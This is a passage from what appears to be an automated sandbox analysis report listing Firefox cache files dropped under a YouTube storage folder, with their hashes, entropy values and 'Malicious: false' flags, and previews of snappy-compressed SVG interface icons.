SHA-512:	ADF00778A63EA8A143F8FBBF61188392A87A376234E17856339036854CFF3A5247AED0B1C0B603332E244D348D58402BA58B32F6DF6CC8E18F9D8242F6573F71
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.v...I..o.n<svg xmlns="http://www.w3.org/2000/svg"><path d="M7.41 15.41L12 10.83l4.59 4.58L18 14l-6-6-6 6z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\17\{f3bf6990-baff-488b-8156-7a6a3a460011}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.184497100652107
Encrypted:	false
SSDEEP:	6:9HK9mc4slhohC/vmVR5XUjvuoVFbpjUJeJFzXV30n:9qnoU/vmVRJUaMFtjOWk
MD5:	A8AC2B1DAF1197439E18577F9341B301
SHA1:	7C6E18163D4915AE57F27DF9CFE607834BB998C8
SHA-256:	DE289EF6A8BA393577207B6A036D9BB0462B56479D9FCEEC6B4C094C8891A72A
SHA-512:	617AC8779A29725613666C729E3B0976F0BBFDA6BFC358F7E606A552DD0EBF712DE791D483965A72B225412FD7532764A2CCB2DF1B3B91666FF25FB841CD3C93
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><polygon points="20.21,11.79 12,3.59 3.79,11.79 5.21,13.21 11,7.41 11,20 13,20 13,...8..303.21"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\17\{f3bf6990-baff-488b-8156-7a6a3a460011}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.184497100652107
Encrypted:	false
SSDEEP:	6:9HK9mc4slhohC/vmVR5XUjvuoVFbpjUJeJFzXV30n:9qnoU/vmVRJUaMFtjOWk
MD5:	A8AC2B1DAF1197439E18577F9341B301
SHA1:	7C6E18163D4915AE57F27DF9CFE607834BB998C8
SHA-256:	DE289EF6A8BA393577207B6A036D9BB0462B56479D9FCEEC6B4C094C8891A72A
SHA-512:	617AC8779A29725613666C729E3B0976F0BBFDA6BFC358F7E606A552DD0EBF712DE791D483965A72B225412FD7532764A2CCB2DF1B3B91666FF25FB841CD3C93
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><polygon points="20.21,11.79 12,3.59 3.79,11.79 5.21,13.21 11,7.41 11,20 13,20 13,...8..303.21"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\181\{6d938e9c-310e-4523-ab39-9a280e38a0b5}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	669
Entropy (8bit):	5.156467197589239
Encrypted:	false
SSDEEP:	12:9xnoU/vmRhHmsiPU0BSMmpa8gQL8nJK18IrVnTVjQLTuvhbL6I4PeuXqY:9xoU/vgHIBBSMcNgQL8nJKCcLSTuvBL+
MD5:	5DAC736054F1BFD6EFDDC9F8941F6513
SHA1:	8D333E22DC6FA20E26C4732D5FF91C954433185C
SHA-256:	E1F390622425670904099CCDFFE9B808E555FC402E7015697D49F9F22ABF9175
SHA-512:	3EA570E7041A136D250E5E94C215B468991B70A6D6609ED27907ABA24123E068E08559BBD96CA39A615A52DCECCD524E3AA52702A8AD544F8A7B952FFF935577
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......'...>.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M10 14.65v-5.3L15 12l-5 2.65zm7.77-4.33-1.2-.5L18 9.06c1.84-.96 2.53-3.23 1.56-5.06s-3.24-2.53-5.07-1.56L6 6.94c-1.29.68-2.07 2.04-2 3.49.07 1.42.93 2.67 2.22 3.25.03.01 1.2.5 1.2.5L6 14.93c-1.83.97-2.53 3.24-1.56 5.07.97 1.83 ..... 5..e.56l8.5-4.5c1.29-.68 2.06-2.04 1.99-3.49-....42-.94-2...23...5zm-.2.Q.86-8.5 .Ld-1.34.71-3.01.2-3.72-1.14-.....-...01 ... .l.sL-1.08v-1.21l-.69-.28.9.1-.46c-..,.41-1.65-1.3.....41-.0...06.52...6 1.4..2...3... ...-.!m.72....7...34...0.`D14 3.72L15.5 9.26v..,1.8.74c.99.4.3.65 ... 1.!..41.0...06-.52)I..8 2.56z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\181\{6d938e9c-310e-4523-ab39-9a280e38a0b5}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	669
Entropy (8bit):	5.156467197589239
Encrypted:	false
SSDEEP:	12:9xnoU/vmRhHmsiPU0BSMmpa8gQL8nJK18IrVnTVjQLTuvhbL6I4PeuXqY:9xoU/vgHIBBSMcNgQL8nJKCcLSTuvBL+
MD5:	5DAC736054F1BFD6EFDDC9F8941F6513
SHA1:	8D333E22DC6FA20E26C4732D5FF91C954433185C
SHA-256:	E1F390622425670904099CCDFFE9B808E555FC402E7015697D49F9F22ABF9175
SHA-512:	3EA570E7041A136D250E5E94C215B468991B70A6D6609ED27907ABA24123E068E08559BBD96CA39A615A52DCECCD524E3AA52702A8AD544F8A7B952FFF935577
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......'...>.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M10 14.65v-5.3L15 12l-5 2.65zm7.77-4.33-1.2-.5L18 9.06c1.84-.96 2.53-3.23 1.56-5.06s-3.24-2.53-5.07-1.56L6 6.94c-1.29.68-2.07 2.04-2 3.49.07 1.42.93 2.67 2.22 3.25.03.01 1.2.5 1.2.5L6 14.93c-1.83.97-2.53 3.24-1.56 5.07.97 1.83 ..... 5..e.56l8.5-4.5c1.29-.68 2.06-2.04 1.99-3.49-....42-.94-2...23...5zm-.2.Q.86-8.5 .Ld-1.34.71-3.01.2-3.72-1.14-.....-...01 ... .l.sL-1.08v-1.21l-.69-.28.9.1-.46c-..,.41-1.65-1.3.....41-.0...06.52...6 1.4..2...3... ...-.!m.72....7...34...0.`D14 3.72L15.5 9.26v..,1.8.74c.99.4.3.65 ... 1.!..41.0...06-.52)I..8 2.56z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\181\{cad5fe18-5a32-493d-8236-1942df147cb5}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	549
Entropy (8bit):	5.514893285302939
Encrypted:	false
SSDEEP:	12:9747N9UuBGbOl10aRt7mRG385NiV/poYgW58bY:974jU2xtCRhN2eYg20Y
MD5:	7732897C3667ADCBAEB632ED111B170E
SHA1:	EEE532CC36738B7E586C193DB814A088896038AD
SHA-256:	EA06CF7AFBA50FEFDB6B8EF1A084DAB27BA0D9B578814B3B79EECF474B200B67
SHA-512:	08A7130E9B36E13B2CF41BE54A7EEF19D209C494D177DEA1D11E2E224F17A611C649683FC5B49976E244DFC4D91944EF481FE1CBE08D130126817180B97A0717
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....g.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M6 12c0-3.31 2.69-6 6-6s6... 6 6c0 1.66-.67 3.16-1.77 4.25l-.71..PC16.44 14.63 17 13.38...[(2.76-2.24-5...s-5 ... 5.\.38.56.o.3 1.4.e.54.[..71C6.w.15.16 6.X.6..@2zm8 0c0-1.1-.9-2...s-2 .., 2c0 .74.4 1..\ 1.72V22h2v-8.28c.6-.34 .;.8 1..02zm-9.06 7.08..,4.01 16.74 3...49....@4.96 4.04-9 9-9s9..0 9 9c0 2.49-1.<@4.74-2.65 6.37l.7...20.8!...27 22.Y.7...Z,5.52-4.48-10.. S2 6.48 2%.. 2...1.12 5.AD.94 7.08z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\181\{cad5fe18-5a32-493d-8236-1942df147cb5}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	549
Entropy (8bit):	5.514893285302939
Encrypted:	false
SSDEEP:	12:9747N9UuBGbOl10aRt7mRG385NiV/poYgW58bY:974jU2xtCRhN2eYg20Y
MD5:	7732897C3667ADCBAEB632ED111B170E
SHA1:	EEE532CC36738B7E586C193DB814A088896038AD
SHA-256:	EA06CF7AFBA50FEFDB6B8EF1A084DAB27BA0D9B578814B3B79EECF474B200B67
SHA-512:	08A7130E9B36E13B2CF41BE54A7EEF19D209C494D177DEA1D11E2E224F17A611C649683FC5B49976E244DFC4D91944EF481FE1CBE08D130126817180B97A0717
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....g.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M6 12c0-3.31 2.69-6 6-6s6... 6 6c0 1.66-.67 3.16-1.77 4.25l-.71..PC16.44 14.63 17 13.38...[(2.76-2.24-5...s-5 ... 5.\.38.56.o.3 1.4.e.54.[..71C6.w.15.16 6.X.6..@2zm8 0c0-1.1-.9-2...s-2 .., 2c0 .74.4 1..\ 1.72V22h2v-8.28c.6-.34 .;.8 1..02zm-9.06 7.08..,4.01 16.74 3...49....@4.96 4.04-9 9-9s9..0 9 9c0 2.49-1.<@4.74-2.65 6.37l.7...20.8!...27 22.Y.7...Z,5.52-4.48-10.. S2 6.48 2%.. 2...1.12 5.AD.94 7.08z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\187\{48c84d4e-028d-4ea1-a174-ac98e88602bb}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.043307345769163
Encrypted:	false
SSDEEP:	6:9EJin9mc4slhohC/vmI4tSSJhrtldwFSrSLwKTksQchiR29UZqbivGSY:9EmnoU/vmRtXrtvwFSgTksJh42K9pY
MD5:	5A85B3EC969004CE7B23E6712C04860A
SHA1:	DAD284278108ABF777290ADD4971EB92142D52AA
SHA-256:	BFA4BD5FF49D8418628F3A3C0DA5B6D8A95D5436168B9482D6DE954C0FEA74B5
SHA-512:	37D836D572226967995B3F20557F98E4E55B89C08FDFBDDD4DC45A6D4EE90A24E5DC8276D0E1971D7B366712BBA3382086183E1498B006905169B758E44394A2
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.@....Y...6.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M14.97 16.95 10 13.87V7h2v5.76l4.03 2.49-1.06 1.7zM12 2C8.73 2 5.8 3.44 4 5.83V3.02H2V9h6V7H5.62C7.08 5.09 9.36 4 12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8H2c0 5.51 4.49 10 10 10s10-4.49 10-10S17.51 2 12 2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\187\{48c84d4e-028d-4ea1-a174-ac98e88602bb}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.043307345769163
Encrypted:	false
SSDEEP:	6:9EJin9mc4slhohC/vmI4tSSJhrtldwFSrSLwKTksQchiR29UZqbivGSY:9EmnoU/vmRtXrtvwFSgTksJh42K9pY
MD5:	5A85B3EC969004CE7B23E6712C04860A
SHA1:	DAD284278108ABF777290ADD4971EB92142D52AA
SHA-256:	BFA4BD5FF49D8418628F3A3C0DA5B6D8A95D5436168B9482D6DE954C0FEA74B5
SHA-512:	37D836D572226967995B3F20557F98E4E55B89C08FDFBDDD4DC45A6D4EE90A24E5DC8276D0E1971D7B366712BBA3382086183E1498B006905169B758E44394A2
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.@....Y...6.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M14.97 16.95 10 13.87V7h2v5.76l4.03 2.49-1.06 1.7zM12 2C8.73 2 5.8 3.44 4 5.83V3.02H2V9h6V7H5.62C7.08 5.09 9.36 4 12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8H2c0 5.51 4.49 10 10 10s10-4.49 10-10S17.51 2 12 2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\187\{e18a17ac-c3d1-48b1-af64-7e9fe6d90fbb}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.6748376221507
Encrypted:	false
SSDEEP:	3:9SlicdWqKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT1ErcH7qg13SwQGqkiUSJMxLdu:9xc29mc4slhLJ9hC6F3Sa3cgRHs
MD5:	45E25BB134343FE4A559478CD56F0971
SHA1:	79F18AD0B7E3935C3231CED0EDD8EA3C7997CA93
SHA-256:	DAE4DD8E56CCC952312B3B238A1DB294D4D7AD4F532C31CD1C2E5F9DEE881678
SHA-512:	9B32B125C4183FE992630BC6CE9A511157959556FDCE53F8264ABA2AA8FB7B0E53B408B505DA2CC96CDEC771470927E74CBA3BBD6EB71A5077E9F933CDC85292
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......w...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..\><path d="m12.71 12 8.15..(-.71.71L12 ...l-2.....L11.29.6.3.6.3.85l.7...2 ...l8.15.;.P<.71 12z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\187\{e18a17ac-c3d1-48b1-af64-7e9fe6d90fbb}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.6748376221507
Encrypted:	false
SSDEEP:	3:9SlicdWqKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT1ErcH7qg13SwQGqkiUSJMxLdu:9xc29mc4slhLJ9hC6F3Sa3cgRHs
MD5:	45E25BB134343FE4A559478CD56F0971
SHA1:	79F18AD0B7E3935C3231CED0EDD8EA3C7997CA93
SHA-256:	DAE4DD8E56CCC952312B3B238A1DB294D4D7AD4F532C31CD1C2E5F9DEE881678
SHA-512:	9B32B125C4183FE992630BC6CE9A511157959556FDCE53F8264ABA2AA8FB7B0E53B408B505DA2CC96CDEC771470927E74CBA3BBD6EB71A5077E9F933CDC85292
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......w...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..\><path d="m12.71 12 8.15..(-.71.71L12 ...l-2.....L11.29.6.3.6.3.85l.7...2 ...l8.15.;.P<.71 12z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\188\{bd495a92-af3c-4f1c-b9e7-2a41930d8abc}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.422924609013641
Encrypted:	false
SSDEEP:	6:9XenJ69mc4slhohC/vmI4LIPGcsWLVtTGxk1uyYDrrmnzZi:9X4UnoU/vmRLIOGVNW9+A
MD5:	440B8569F0166ADB464F65B587FC1864
SHA1:	BD9EC70774C72144B24D6B025169ADCF97F4100F
SHA-256:	7679AAA38924228F58794FFD76387E65F03FB1A7ED42BA79A369069F2DA4C13A
SHA-512:	2A4D57DABF61B213DE49A46569AD00401AFEEE417D28936851C1EA346D65D5019BE0B8092D1857B58CA0BD0F2A1407452920A2F3E0A69688D61BEF25B419FCBE
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.-....r.....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 3c-1.66 0-3 1.37-3 3.07v5.86c0 1.7 1.34... 3..\s3-1.37 3-3.07V6.07C15 4..\13.66 3 12 3zm6.5 9h-1c0.943-2.47 5.5-5.5...S.!.15.03 ...2.,....39 5.93.)` 6.41V21h2v-2.59c3.11-.48...-3.1.W46.41z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\188\{bd495a92-af3c-4f1c-b9e7-2a41930d8abc}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.422924609013641
Encrypted:	false
SSDEEP:	6:9XenJ69mc4slhohC/vmI4LIPGcsWLVtTGxk1uyYDrrmnzZi:9X4UnoU/vmRLIOGVNW9+A
MD5:	440B8569F0166ADB464F65B587FC1864
SHA1:	BD9EC70774C72144B24D6B025169ADCF97F4100F
SHA-256:	7679AAA38924228F58794FFD76387E65F03FB1A7ED42BA79A369069F2DA4C13A
SHA-512:	2A4D57DABF61B213DE49A46569AD00401AFEEE417D28936851C1EA346D65D5019BE0B8092D1857B58CA0BD0F2A1407452920A2F3E0A69688D61BEF25B419FCBE
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.-....r.....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 3c-1.66 0-3 1.37-3 3.07v5.86c0 1.7 1.34... 3..\s3-1.37 3-3.07V6.07C15 4..\13.66 3 12 3zm6.5 9h-1c0.943-2.47 5.5-5.5...S.!.15.03 ...2.,....39 5.93.)` 6.41V21h2v-2.59c3.11-.48...-3.1.W46.41z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\188\{cf3cb4a3-1a98-42f8-8c6c-5bf038370cbc}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	5.729159927036553
Encrypted:	false
SSDEEP:	12:9XDtR7N9UOGAc8hQhAUNTqLYx16Pj65p1csdWyitA/v5kWGES34gKn+x1Db:9XDtRjUvNXhAUNzojWpCrA35kpdA+xdb
MD5:	184E8DE5F2D1B10B1CD688026DFEC0CA
SHA1:	DD632464C3AD026E57BAC8EFC3348EB7349DAD84
SHA-256:	E3AAF869118C6DB298D843C5308262F88CE5BA474D88E7043BADFDEA4471C93F
SHA-512:	E3495544032B7F6760967B0CCF57861EC5454BB32E8F5F7D2165FA63E6AB580E278275A1F719FA55FA17FC0A3AA9788E15BA60FF2EA0E25557F0160607066143
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.c...Yc<...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M12 9.5c1.38 0 2.5 1.12...2.5s-...-...2..........0....4m0-1c-1.93 0-3.Q.57...3.5s1.57......-...&.....3....zM13.22 3l.55 2.2.13.51.5.18c.61.23..@9.56 1.72.98l.4.3..4.14 2.17-.62 1.Fx2.11-1.63 1.59-.37.36.08.51c.05.7.08.64..(98s-.03.66-...l...51.6. .G.[.n.-.5.~.-...c-.53.43!9.1.76-...-...-....-...4h-2.44..!b.2...-.5. .-...-.6-.2.M.8-.5.N(-.99l-.4-.3.\|..14....62...1..!..6.7.59.37-.3...Z.c-.05.:.08-.65...-!...03-.6!!...l.....@$L3.6 8.56l!..d.1!a.v...4...c.53-.44!..1-.77%...%%.8.1.. .54-2.21h...M!..h-!.H74 2.96c-.73.27-1.4!...\14l-2.92-.83-2 3.46 2.19...3...6...09.7...9...4....77....B.2. .C.S.c.6.48A9.7.87 .r(L10 22h4l.7.. 96c.73-.2...4!-. !s.14l....83 2-..!..9...3c.06-AC.09-.75...1.14El!..-...l...3.-.D.9.SI..48!..7-.87-.s8L14 2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\188\{cf3cb4a3-1a98-42f8-8c6c-5bf038370cbc}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	5.729159927036553
Encrypted:	false
SSDEEP:	12:9XDtR7N9UOGAc8hQhAUNTqLYx16Pj65p1csdWyitA/v5kWGES34gKn+x1Db:9XDtRjUvNXhAUNzojWpCrA35kpdA+xdb
MD5:	184E8DE5F2D1B10B1CD688026DFEC0CA
SHA1:	DD632464C3AD026E57BAC8EFC3348EB7349DAD84
SHA-256:	E3AAF869118C6DB298D843C5308262F88CE5BA474D88E7043BADFDEA4471C93F
SHA-512:	E3495544032B7F6760967B0CCF57861EC5454BB32E8F5F7D2165FA63E6AB580E278275A1F719FA55FA17FC0A3AA9788E15BA60FF2EA0E25557F0160607066143
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.c...Yc<...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M12 9.5c1.38 0 2.5 1.12...2.5s-...-...2..........0....4m0-1c-1.93 0-3.Q.57...3.5s1.57......-...&.....3....zM13.22 3l.55 2.2.13.51.5.18c.61.23..@9.56 1.72.98l.4.3..4.14 2.17-.62 1.Fx2.11-1.63 1.59-.37.36.08.51c.05.7.08.64..(98s-.03.66-...l...51.6. .G.[.n.-.5.~.-...c-.53.43!9.1.76-...-...-....-...4h-2.44..!b.2...-.5. .-...-.6-.2.M.8-.5.N(-.99l-.4-.3.\|..14....62...1..!..6.7.59.37-.3...Z.c-.05.:.08-.65...-!...03-.6!!...l.....@$L3.6 8.56l!..d.1!a.v...4...c.53-.44!..1-.77%...%%.8.1.. .54-2.21h...M!..h-!.H74 2.96c-.73.27-1.4!...\14l-2.92-.83-2 3.46 2.19...3...6...09.7...9...4....77....B.2. .C.S.c.6.48A9.7.87 .r(L10 22h4l.7.. 96c.73-.2...4!-. !s.14l....83 2-..!..9...3c.06-AC.09-.75...1.14El!..-...l...3.-.D.9.SI..48!..7-.87-.s8L14 2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\18\{dec9613b-7251-4912-a323-a6ca064bd212}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.598626392214437
Encrypted:	false
SSDEEP:	6:9nlcI9mc4slhLJ9hCczbQqDxt4V3EpjnjUS8/aFrjXLvwE:9nC47N9USQqDjoajoSPjbwE
MD5:	AE4B85BAA591C1ACF5B06F659DD25370
SHA1:	2164A44022F8A3BF0D2CF36D110964D293F88261
SHA-256:	B25F5B57F1525B00C785F4C7E4B05CCBD9AD214DBC1BDADE46E16CA1E0B38F0E
SHA-512:	E3356C3C1BDCA103E2C873368BD9264E062E08FDA841AB9641F20454BB32D1CAC75CB3CB4A3E04B34549EAE67AB4DEFE8218251D076726F79229D47605EF6D78
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.=.....)...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...O><g><path d="M5.02 6.75c-.14-.82.42-1.59 1.23-1.73s1.59.41 1.73 1.23c.14.82-.41 ...-.,. ...B.14.B.-.K.73..TzM3.99 4 4 11.08l9.36 ...7.07-.......L.-<m-1-1 8.49.01 10.3...-.....L3.P.49 2._83z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\18\{dec9613b-7251-4912-a323-a6ca064bd212}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.598626392214437
Encrypted:	false
SSDEEP:	6:9nlcI9mc4slhLJ9hCczbQqDxt4V3EpjnjUS8/aFrjXLvwE:9nC47N9USQqDjoajoSPjbwE
MD5:	AE4B85BAA591C1ACF5B06F659DD25370
SHA1:	2164A44022F8A3BF0D2CF36D110964D293F88261
SHA-256:	B25F5B57F1525B00C785F4C7E4B05CCBD9AD214DBC1BDADE46E16CA1E0B38F0E
SHA-512:	E3356C3C1BDCA103E2C873368BD9264E062E08FDA841AB9641F20454BB32D1CAC75CB3CB4A3E04B34549EAE67AB4DEFE8218251D076726F79229D47605EF6D78
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.=.....)...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...O><g><path d="M5.02 6.75c-.14-.82.42-1.59 1.23-1.73s1.59.41 1.73 1.23c.14.82-.41 ...-.,. ...B.14.B.-.K.73..TzM3.99 4 4 11.08l9.36 ...7.07-.......L.-<m-1-1 8.49.01 10.3...-.....L3.P.49 2._83z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\190\{07d58909-d89d-49ff-bff2-2b941b4d96be}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.206531652553336
Encrypted:	false
SSDEEP:	6:9hmEtI9mc4slhohC/vmVR6q8ZvNbfbDNrc:9hmE6noU/vmVR6qIDNA
MD5:	6034306070954B482117C7883F153714
SHA1:	DEA03382C66843D3B2F548BCC628DBFBC3CAB661
SHA-256:	DACB173C166FB4640953753914C783A1C8AECDA2EAC07DBC30CA70804BD8C029
SHA-512:	DC178D0F42734CA82160A12CAABD406B1B16F414E09D67FEE35092249AED61F570702BD1716A169C1E97E33FCDACE6709E98044884E7459E453377F103946E62
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....P..y...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><polygon points="18.65,11.65 12,18.29 12,4 11,4 11,18.29 4.35,.'.3.2.2.35 11.5,20.21 19.35,12.35"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\190\{07d58909-d89d-49ff-bff2-2b941b4d96be}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.206531652553336
Encrypted:	false
SSDEEP:	6:9hmEtI9mc4slhohC/vmVR6q8ZvNbfbDNrc:9hmE6noU/vmVR6qIDNA
MD5:	6034306070954B482117C7883F153714
SHA1:	DEA03382C66843D3B2F548BCC628DBFBC3CAB661
SHA-256:	DACB173C166FB4640953753914C783A1C8AECDA2EAC07DBC30CA70804BD8C029
SHA-512:	DC178D0F42734CA82160A12CAABD406B1B16F414E09D67FEE35092249AED61F570702BD1716A169C1E97E33FCDACE6709E98044884E7459E453377F103946E62
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....P..y...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><polygon points="18.65,11.65 12,18.29 12,4 11,4 11,18.29 4.35,.'.3.2.2.35 11.5,20.21 19.35,12.35"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\191\{f033c4ac-b6a9-44d4-86bf-080413aa05bf}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	202
Entropy (8bit):	5.166202512669625
Encrypted:	false
SSDEEP:	6:95brGK9mc4slhohC/vmI4oVdGfzXpjXks8:95xnoU/vmRoVdIJXE
MD5:	D70DCBBADD16BB1A5654B6B88E896C0D
SHA1:	0390F109AE3B154932B451E5CBB8B3FC05D97E29
SHA-256:	EA04D22C96C85CFDED3F95AD248A3E1204F701264155170758B0C97B742FE37C
SHA-512:	D31967C7CAC02F3D4AA2E682A0491E0754358FF66E559E17C6C3A164F33C16BFCA68746C63530A73A4FD125FA3884E5945F391646A154884C4BA209D5D4010FC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....B=...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M13 18h-2v-2h2v2zm0-8h-2v5h2v-5zm-1-4.11L20.2 19H3.8L12 5.89M12 4 2 20h20L12 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\191\{f033c4ac-b6a9-44d4-86bf-080413aa05bf}.tmp

